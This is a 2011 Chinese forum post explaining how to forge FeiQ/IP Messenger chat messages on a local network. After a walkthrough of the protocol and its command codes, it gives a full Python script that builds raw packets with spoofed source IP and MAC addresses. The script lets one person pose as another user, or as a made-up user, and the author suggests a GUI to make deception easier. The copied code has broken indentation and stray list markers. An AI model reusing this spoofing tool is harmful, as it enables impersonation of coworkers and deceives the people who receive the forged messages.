- 論壇徽章:
- 0
|
本帖最后由 陽光boyer 于 2011-02-10 12:02 編輯
我們常在局域網(wǎng)內(nèi)用飛鴿進行溝通、文件傳輸。有天突發(fā)奇想,要是我能冒充某給人給另外一個人發(fā)送飛鴿消息,該多有趣?有了想法,就該去實現(xiàn),不然就是空想了。。不過還真空想了段時間,但最后還是寫出了個小程序,和大家分享下。
要想冒充他人,首先得了解下飛鴿協(xié)議(見http://zhidao.baidu.com/question/41558223.html)。由于我們大多數(shù)人用的都是飛秋,所以就直接分析飛秋了。
飛秋協(xié)議實際上飛鴿協(xié)議的擴展,比飛鴿稍微復(fù)雜點。首先看個簡單的例子,我們以編程的方式,自己給自己發(fā)條消息?创a和截圖:
Python代碼 ![]()
- >>> import socket
- >>> udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- >>> udp.connect(('localhost',2425))
- >>> udp.send('1:100:flyingzl:flyingzl:32:縱我不往,子寧不嗣音?~~')
51- >>>
>>> import socket>>> udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)>>> udp.connect(('localhost',2425))>>> udp.send('1:100:flyingzl:flyingzl:32:縱我不往,子寧不嗣音?~~')51>>>
簡單說明下代碼:
飛鴿運行時,會監(jiān)聽UDP和TCP的2425端口,所以我們首先要和本地建立UDP連接,TCP連接一般用來發(fā)送文件等。
1:100:flyingzl:flyingzl:32:縱我不往,子寧不嗣音?~~是飛鴿的協(xié)議字符串,
1表示版本號,100標識包號,flyingzl表示用戶名,第二個flyingzl表示主機名,32表示發(fā)送消息,后面的表示要發(fā)送的消息內(nèi)容。
這是飛鴿的協(xié)議,后面我們會看到飛鴿和飛秋又有所不同。
我們可以通過socket連機其他人的飛秋并給他們發(fā)送消息,但是通過socket發(fā)送出去的數(shù)據(jù)包會默認帶上我們自己的ip地址和mac地址,怎么樣才能修改這些數(shù)據(jù)包呢?
有辦法,windows上不是有wincap么,linux上不是有l(wèi)ibnet么,它們都有python擴展,叫做sendpkt,直接調(diào)用就好了。關(guān)于怎么使用,可以看之前我的帖子 http://www.javaeye.com/topic/600032#1696365
通過調(diào)用sendpkt,我們可以自己構(gòu)造以太網(wǎng)數(shù)據(jù)包,自己定義源ip地址和源mac地址,這樣就神不知鬼不覺地欺騙他人。。
現(xiàn)在的問題是:怎么構(gòu)建以太網(wǎng)數(shù)據(jù)包。
由于飛秋發(fā)送消息是采用UDP協(xié)議,所以我們只需要構(gòu)建一個UDP數(shù)據(jù)包,然后加上我們的內(nèi)容就可以了。構(gòu)建以太網(wǎng)數(shù)據(jù)包可以采用dpkt,非常方便。
現(xiàn)在,我們用wireshark來分析飛秋的協(xié)議。。打開個飛鴿,點擊刷新,就能看到wireshark捕獲的數(shù)據(jù)包:
飛秋上線時,首先會發(fā)送廣播,告訴網(wǎng)內(nèi)的其他飛秋,有新人上線,你們馬上動起來,把他加入自己的好友,并問候他一下,這樣,對方飛鴿里面就看到你的飛秋了。然后對方也會把自己的信息發(fā)給你,你的飛秋中也就有了他。
我們把截獲的代碼拷出來,就是 1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:6291457: 別看這個字符串很復(fù)雜,其實它就是飛鴿的擴展,也是分為幾段。
1_lbt4_10#32899#002481627512#0#0#0 版本號,不過飛秋有很多自己的定制化,比如是否顯示太陽等,32899就表示一個太陽和一個月亮,002481627512表示發(fā)送者的mac地址,后面的三個0不知道啥意思,有興趣的童鞋好好分析下,和大家一起交流交流
1289671407 也就是包序號了。
Administrator是用戶名
MICROSO-697TGLD 是主機名
6291457是命令字表示上線。還有一些其他的,比如288表示發(fā)送消息,6291457表示下線,還有晃屏啥的,大家有興趣可以自己去分析。由于我只想發(fā)送消息,所以只需要修改下命令字為288即可。
下面就是一個發(fā)送消息的命令字:
1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:288:一日不見,如三月兮
Python代碼 ![]()
- >>> import socket
- >>> udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- >>> udp.connect(('localhost',2425))
- >>> udp.send('1_lbt4_10#32899#002481627512#0#0#0:1289671407:flyingzl:flyingzl:288:一日不見,如三月兮')
86- >>>
>>> import socket>>> udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)>>> udp.connect(('localhost',2425))>>> udp.send('1_lbt4_10#32899#002481627512#0#0#0:1289671407:flyingzl:flyingzl:288:一日不見,如三月兮')86>>>
細心的同學(xué)已經(jīng)發(fā)現(xiàn),這次截圖和上次截圖顯示不一樣,上次截圖顯示的是飛鴿圖標,這次卻是飛秋圖標。呵呵。。因為我們發(fā)送的是飛秋命令字。。
有了飛秋命令字,我們就可以構(gòu)建數(shù)據(jù)包,發(fā)送修改過的飛秋數(shù)據(jù)包了。。啥都不說了,上代碼:
Python代碼 ![]()
- #coding=utf-8
import dpkt
import sendpkt
from socket import inet_aton
from time import strftime
import socket
import types
import uuid
#本地網(wǎng)關(guān)MAC地址,可以通過如下方式獲取:
#C:\Users\Administrator>arp -a
#接口: 192.168.0.100 --- 0xb
# Internet 地址 物理地址 類型
# 192.168.0.1 00-03-47-ca-e4-5c 動態(tài) - MASK_MAC='1c-af-f7-c0-65-a8'
def get_local_mac():
''''' - 獲得本機Mac地址
- '''
- mac=uuid.uuid1().hex[-12:]
return
'-'.join([mac[(i-1)*2:2*i] for i in range(1,7)])
def send_msg(kwargs):
''''' - 發(fā)送消息,kwargs參數(shù)為一個dict對象
- '''
if type(kwargs) is
not types.DictType:
return
#本機ip地址 - local_ip=kwargs.get('src',socket.gethostbyname(socket.gethostname()))
#轉(zhuǎn)碼后的源ip地址 - src_ip=inet_aton(local_ip)
#轉(zhuǎn)碼后的目的ip地址 - dst_ip=inet_aton(kwargs.get('dst'))
#本機mac地址 - local_mac=kwargs.get('src_mac',get_local_mac())
#轉(zhuǎn)碼后的源mac地址 - src_mac=pack_mac(local_mac)
#判斷remote_ip和local_ip是否在同一個網(wǎng)段
#轉(zhuǎn)碼后的目的mac地址 - dst_mac=pack_mac(kwargs.get('dst_mac'))\
if trans(local_ip)==trans(kwargs.get('dst')) else pack_mac(MASK_MAC) - host=kwargs.get('host',socket.gethostname())
- user=kwargs.get('user','User')
- msg=kwargs.get('msg','Hello')
#找到第一個網(wǎng)絡(luò)端口,根據(jù)自己的情況修改
#安裝了VirtualBox、VMWare或者有無線網(wǎng)卡的同學(xué)得自己修改下 - device=sendpkt.findalldevs()[0]
#飛鴿監(jiān)聽本地的UDP 2425端口 - udp=dpkt.udp.UDP(dport=2425,sport=2425)
#向飛鴿發(fā)送消息命令字
#6291458表示下線
#6291457表示上線
#288表示發(fā)送信息
#如果是飛秋,65664這個狀態(tài)會在對方上顯示為兩個太陽 - msg="1_lbt4_10#65664#%s#0#0#0:%s:%s:%s:288:%s" \
- %(local_mac.replace('-',''),int(strftime('%m%d%H%M%S'))+100000000,user,host,msg)
- msg=msg.encode("gbk")
- udp.data+=msg
- udp.ulen=len(udp)
- ip=dpkt.ip.IP(src=src_ip,dst=dst_ip,data=udp,p=dpkt.ip.IP_PROTO_UDP)
#重新計算ip的長度,不然消息發(fā)送不出去 - ip.len=len(ip)
- ether=dpkt.ethernet.Ethernet(
- dst=dst_mac,
- src=src_mac,
- type=0x0800,
- data=ip
- )
- sendpkt.sendpacket(str(ether),device)
def trans(ip,mask='255.255.255.0'):
''''' - 判斷兩個ip地址是否在同一個網(wǎng)段
- '''
- str=[]
- ip=ip.split(".")
- mask=mask.split(".")
for index,item in enumerate(ip): - str.append(int(item)&int(mask[index]))
return str
def pack_mac(mac,pattern='-'):
''''' - 網(wǎng)卡地址轉(zhuǎn)為以太網(wǎng)Mac地址
- 例如將"08-00-27-ba-f7-e5"轉(zhuǎn)為"\x08\x00'\xba\xf7\xe5"
- '''
- mac=mac.split(pattern.lower())
return "".join([chr(int('0x'+x,16)) for x in mac])
if __name__=="__main__": - s={
'src':'192.168.0.106',
'dst':'192.168.0.100',
'src_mac':'00-15-AF-AE-E6-C0',
#這個地址最好別寫錯,可以從飛鴿上看到好友的Mac地址
'dst_mac':'00-24-81-62-75-12',
'host':'哈哈',
'user':'呵呵',
'msg':'加班呀?'- }
- send_msg(s)
代碼我就不解釋了,大家可以看里面的注釋,寫得比較明白。。我們來測試下,看看效果。。。從之前的圖片上可以看到,我飛秋上就兩個好友,我們現(xiàn)在要憑空造出來一個,他的ip是192.168.0.106,mac是00-15-AF-AE-E6-C0
運行后,可以看到這樣的結(jié)果:
貌似是可以欺騙成功了。。不過如果要欺騙其他網(wǎng)段的飛秋好友,一定要修過代碼中的MASK_MAC字段,大家用wireshark分析飛秋的UPD數(shù)據(jù)包就知道了。。。
如果大家有興趣,可以自己做個圖形化的界面,比如web頁面,可以圖形化的進行欺騙。。。那就有意思了,比如:
呵呵,就此告一段落。。。如果大家都挺關(guān)注,我就把code都發(fā)上來吧。。。。最后,希望本人能拋磚引玉,讓大家發(fā)揮出剛強的創(chuàng)造力。。。祝各位周末愉快 :) |
|